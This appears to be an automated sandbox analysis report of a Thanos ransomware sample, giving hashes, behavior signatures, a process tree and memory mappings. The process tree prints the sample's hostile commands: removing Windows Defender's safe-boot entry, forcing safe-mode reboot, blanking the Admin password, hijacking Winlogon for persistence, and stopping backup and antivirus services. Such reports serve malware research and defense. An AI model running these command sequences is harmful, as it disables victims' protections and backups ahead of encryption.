Analysis

  • max time kernel
    10s
  • max time network
    14s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    28-05-2021 09:57

General

  • Target

    50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85.bin.sample.exe

  • Size

    398KB

  • MD5

    a3950b817d9d93bc89da5c5459c4c725

  • SHA1

    2a28807b8b1095d9a8c3339f156705ea46f31976

  • SHA256

    50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85

  • SHA512

    479f3787bc0063df25a495155d86a1af9b64725644b36858b4f3b96916c3649fa22f568061eaf0bbb421e10d9e59df23e107578b81b51ff61b6613f94732bca6

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Thanos Ransomware

    Ransomware-as-a-service (RaaS) sold through underground forums.

  • Thanos executable 2 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Windows security modification 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85.bin.sample.exe
    "C:\Users\Admin\AppData\Local\Temp\50ece411c1c1a69d1c495e7aa6af8e812dfa08dfd987e096ce57707da1054f85.bin.sample.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Users\Admin\AppData\Local\Temp\file.exe
      "file.exe"
      2⤵
      • Executes dropped EXE
      • Windows security modification
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\reg.exe
        "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
        3⤵
        • Modifies registry key
        PID:1848
      • C:\Windows\system32\bcdedit.exe
        "bcdedit.exe" /set {default} safeboot network
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1744
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        3⤵
          PID:604
        • C:\Windows\system32\shutdown.exe
          "shutdown.exe" /r /t 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:108
        • C:\Windows\system32\net.exe
          "net.exe" user Admin ""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1720
        • C:\Windows\system32\reg.exe
          "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\file.exe","C:\Windows\system32\userinit.exe" /f
          3⤵
          • Modifies WinLogon for persistence
          PID:1828
        • C:\Windows\system32\net.exe
          "net.exe" stop NetBackup BMR MTFTP Service /y
          3⤵
            PID:1124
          • C:\Windows\system32\net.exe
            "net.exe" stop ccSetMgr /y
            3⤵
              PID:1844
            • C:\Windows\system32\net.exe
              "net.exe" stop QBCFMonitorService /y
              3⤵
                PID:1704
              • C:\Windows\system32\net.exe
                "net.exe" stop Intuit.QuickBooks.FCS /y
                3⤵
                  PID:1104
                • C:\Windows\system32\net.exe
                  "net.exe" stop QBIDPService /y
                  3⤵
                    PID:1880
                  • C:\Windows\system32\net.exe
                    "net.exe" stop QBFCService /y
                    3⤵
                      PID:1696
                    • C:\Windows\system32\net.exe
                      "net.exe" stop RTVscan /y
                      3⤵
                        PID:1820
                      • C:\Windows\system32\net.exe
                        "net.exe" stop SavRoam /y
                        3⤵
                          PID:1852
                        • C:\Windows\system32\net.exe
                          "net.exe" stop zhudongfangyu /y
                          3⤵
                            PID:1716
                          • C:\Windows\system32\net.exe
                            "net.exe" stop YooIT /y
                            3⤵
                              PID:968
                            • C:\Windows\system32\net.exe
                              "net.exe" stop YooBackup /y
                              3⤵
                                PID:108
                              • C:\Windows\system32\net.exe
                                "net.exe" stop ccEvtMgr /y
                                3⤵
                                  PID:1096
                                • C:\Windows\system32\net.exe
                                  "net.exe" stop DefWatch /y
                                  3⤵
                                    PID:840
                                  • C:\Windows\system32\net.exe
                                    "net.exe" stop BMR Boot Service /y
                                    3⤵
                                      PID:860
                                    • C:\Windows\system32\net.exe
                                      "net.exe" stop mfewc /y
                                      3⤵
                                        PID:1016
                                      • C:\Windows\system32\net.exe
                                        "net.exe" stop McAfeeDLPAgentService /y
                                        3⤵
                                          PID:1540
                                        • C:\Windows\system32\net.exe
                                          "net.exe" stop avpsus /y
                                          3⤵
                                            PID:764
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user Admin ""
                                        1⤵
                                          PID:1816
                                        • C:\Windows\system32\LogonUI.exe
                                          "LogonUI.exe" /flags:0x0
                                          1⤵
                                            PID:268

                                          Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\Local\Temp\file.exe

                                            MD5

                                            d6d956267a268c9dcf48445629d2803e

                                            SHA1

                                            cc0feae505dad9c140dd21d1b40b518d8e61b3a4

                                            SHA256

                                            c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850

                                            SHA512

                                            e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee

                                          • C:\Users\Admin\AppData\Local\Temp\file.exe

                                            MD5

                                            d6d956267a268c9dcf48445629d2803e

                                            SHA1

                                            cc0feae505dad9c140dd21d1b40b518d8e61b3a4

                                            SHA256

                                            c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850

                                            SHA512

                                            e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee

                                          • memory/108-69-0x0000000000000000-mapping.dmp

                                          • memory/108-91-0x0000000000000000-mapping.dmp

                                          • memory/268-73-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/268-96-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/604-71-0x0000000000000000-mapping.dmp

                                          • memory/604-76-0x000000001ADD0000-0x000000001ADD1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/604-94-0x0000000002620000-0x0000000002622000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/604-95-0x0000000002624000-0x0000000002626000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/604-75-0x0000000002290000-0x0000000002291000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/764-77-0x0000000000000000-mapping.dmp

                                          • memory/840-82-0x0000000000000000-mapping.dmp

                                          • memory/860-80-0x0000000000000000-mapping.dmp

                                          • memory/968-92-0x0000000000000000-mapping.dmp

                                          • memory/1016-79-0x0000000000000000-mapping.dmp

                                          • memory/1096-83-0x0000000000000000-mapping.dmp

                                          • memory/1104-89-0x0000000000000000-mapping.dmp

                                          • memory/1124-81-0x0000000000000000-mapping.dmp

                                          • memory/1540-78-0x0000000000000000-mapping.dmp

                                          • memory/1636-63-0x0000000001030000-0x0000000001031000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1636-60-0x0000000000000000-mapping.dmp

                                          • memory/1636-74-0x000000001A980000-0x000000001A982000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1696-87-0x0000000000000000-mapping.dmp

                                          • memory/1704-90-0x0000000000000000-mapping.dmp

                                          • memory/1716-93-0x0000000000000000-mapping.dmp

                                          • memory/1720-68-0x0000000000000000-mapping.dmp

                                          • memory/1744-66-0x0000000000000000-mapping.dmp

                                          • memory/1816-70-0x0000000000000000-mapping.dmp

                                          • memory/1820-86-0x0000000000000000-mapping.dmp

                                          • memory/1828-67-0x0000000000000000-mapping.dmp

                                          • memory/1844-84-0x0000000000000000-mapping.dmp

                                          • memory/1848-65-0x0000000000000000-mapping.dmp

                                          • memory/1852-85-0x0000000000000000-mapping.dmp

                                          • memory/1880-88-0x0000000000000000-mapping.dmp